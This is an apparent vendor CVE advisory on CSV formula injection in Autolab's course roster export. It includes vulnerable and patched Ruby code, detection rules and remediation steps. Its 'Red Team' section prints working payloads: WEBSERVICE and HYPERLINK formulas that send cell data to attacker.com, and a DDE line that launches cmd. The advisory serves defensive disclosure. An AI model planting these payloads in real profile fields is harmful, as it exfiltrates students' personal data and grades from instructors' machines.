☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-53260

CVE-2024-53260 Cross-Site Scripting in Autolab
📅 PUBLISHED: 2024-11-27 21:28 UTC 🔄 UPDATED: 2026-09-23 20:25 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-53260 is a stored Cross-Site Scripting (XSS) vulnerability in Autolab, a course management service for auto-graded programming assignments. An authenticated user (student) can inject malicious spreadsheet formulas (e.g., =HYPERLINK, =IMPORTXML, =WEBSERVICE) into their first or last name fields. When an instructor downloads the course roster as a CSV file and opens it in a spreadsheet application (e.g., Microsoft Excel, Google Sheets), the injected formula is executed. This can exfiltrate sensitive data from the roster to an attacker-controlled remote endpoint. The vulnerability has been patched in the source code repository, but no official release containing the fix is available yet. No public exploit code or proof-of-concept has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Autolab is a Ruby on Rails application. The vulnerability is not in a third-party package but in the application's own input sanitization logic. The risk is primarily to instructors and administrators who download and open CSV roster files. No direct supply chain compromise is involved, but the attack vector relies on the trust relationship between the user (instructor) and the spreadsheet application.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attacker can modify their name via the web interface.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): Low (L) - Attacker must be an authenticated student.
  • User Interaction (UI): Required (R) - Instructor must download and open the CSV file.
  • Scope (S): Unchanged (U) - The impact is within the spreadsheet application's context.
  • Confidentiality (C): High (H) - Exfiltration of roster data (names, emails, grades) is possible.
  • Integrity (I): Low (L) - The attacker can modify the displayed name but not the underlying data.
  • Availability (A): None (N) - No impact on availability.

CVSS Score: 6.8 (Medium)

Threat Level: Medium. Exploitation requires user interaction and is limited to spreadsheet formula injection. However, the potential for data exfiltration is significant.

Deep Dive & Mechanics

The vulnerability lies in the lack of sanitization of user-provided first and last names before they are included in a CSV file exported as a course roster. Autolab likely uses a CSV generation library that does not escape or prefix cells that start with special characters like =, +, -, or @. When a spreadsheet application opens the CSV, it interprets these cells as formulas.

Attack Flow:

  1. Registration/Profile Update: An attacker (student) registers or updates their profile, setting their first name to a malicious formula, e.g., =HYPERLINK("http://attacker.com/steal?data="&A1,"Click").
  2. Roster Download: An instructor downloads the course roster as a CSV file.
  3. Spreadsheet Execution: The instructor opens the CSV in Excel or Google Sheets. The formula is executed.
  4. Data Exfiltration: The formula can read other cells in the spreadsheet (e.g., student emails, grades) and send them to an attacker-controlled server via a web request.

Key Technical Details:

  • The attack is a form of CSV Injection (also known as Formula Injection).
  • The injected formula can use functions like WEBSERVICE, IMPORTXML, HYPERLINK, or DDE to exfiltrate data.
  • The vulnerability is stored in the database and triggered upon CSV export.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The CSV export likely iterates over user records and directly writes the name fields without escaping.

# Vulnerable CSV generation
CSV.generate do |csv|
  csv << ["First Name", "Last Name", "Email"]
  @students.each do |student|
    csv << [student.first_name, student.last_name, student.email]
  end
end

Patched Code (Conceptual): The fix should sanitize or escape fields that start with special characters. A common approach is to prepend a single quote (') or a tab character to prevent formula execution.

# Patched CSV generation
def sanitize_csv_field(value)
  if value =~ /\A[=+\-@]/
    "'" + value
  else
    value
  end
end

CSV.generate do |csv|
  csv << ["First Name", "Last Name", "Email"]
  @students.each do |student|
    csv << [sanitize_csv_field(student.first_name), sanitize_csv_field(student.last_name), student.email]
  end
end

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to an Autolab instance as a student.
  • Ability to modify first/last name in profile settings.

Exploit Payloads:

  1. Basic Data Exfiltration (Excel):

    =WEBSERVICE("http://attacker.com/steal?data="&A1)
    

    Note: A1 is a cell reference. The attacker would need to know the layout of the roster.

  2. Hyperlink Clickjacking:

    =HYPERLINK("http://attacker.com/steal?data="&B2,"Click here")
    
  3. DDE (Dynamic Data Exchange) - Legacy:

    =DDE("cmd";"/C calc";"!A1")
    

    Note: DDE is often blocked by modern spreadsheets.

Lab Setup:

  1. Deploy a vulnerable Autolab instance (e.g., using Docker).
  2. Register a student account.
  3. Update the first name to: =WEBSERVICE("http://requestbin.net/r/yourbin?data="&A1)
  4. As an instructor, download the roster CSV.
  5. Open the CSV in Excel (enable content if prompted).
  6. Observe the request to your request bin.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual profile updates containing =, +, -, @ at the start of name fields.
  • Alert on CSV downloads followed by outbound connections to unknown domains.
  • Use endpoint detection to flag spreadsheet applications making unexpected network requests.

Prevention:

  • Immediate: Instruct users to open CSV files in a text editor or use "Import" instead of double-clicking.
  • Application-Level: Implement input sanitization as shown in the patched code.
  • Network-Level: Block outbound connections from spreadsheet applications to the internet.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP/HTTPS requests from spreadsheet applications (e.g., EXCEL.EXE, SHELL32.DLL) to unknown external domains.
    • DNS queries for attacker-controlled domains.
  • File:
    • CSV files containing cells that start with =, +, -, or @.
    • CSV files with unusually long or formula-like content in name fields.
  • Endpoint:
    • Process tree: EXCEL.EXE spawning cmd.exe or powershell.exe (if DDE is used).
    • Registry modifications (if DDE is used).

Detection Engineering

YARA Rule

rule CVE_2024_53260_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection indicators"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-53260"
    strings:
        $formula_start = /^[=+\-@]/m
        $csv_header = /First Name|Last Name|Email/
    condition:
        $csv_header and #formula_start > 0
}

Sigma Rule

title: CSV Formula Injection via Autolab Roster
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSV injection attempts in Autolab profile updates
author: Valters IT
logsource:
    category: application
    product: autolab
detection:
    selection:
        event: profile_update
        first_name|startswith:
            - '='
            - '+'
            - '-'
            - '@'
        last_name|startswith:
            - '='
            - '+'
            - '-'
            - '@'
    condition: selection
falsepositives:
    - Legitimate names starting with these characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53260 - Potential CSV Formula Exfiltration"; flow:to_server; content:"GET"; http_method; content:"/steal"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Manual Patching: Apply the fix from the source code repository (if available) or implement the sanitization logic shown in the patched code section.
  2. User Education: Instruct instructors to open CSV roster files in a text editor or use the "Import" feature in Excel (which allows disabling formula evaluation).
  3. Network Controls: Block outbound connections from spreadsheet applications to the internet using firewall rules or endpoint DLP.

Long-Term Fix:

  • Wait for the next official Autolab release containing the patch.
  • Implement input validation on the server side to reject or sanitize names starting with special characters.
  • Use a CSV library that automatically escapes formula-injection characters.

Workarounds:

  • None officially provided. The only workaround is to manually sanitize CSV files before opening them.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-53260/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.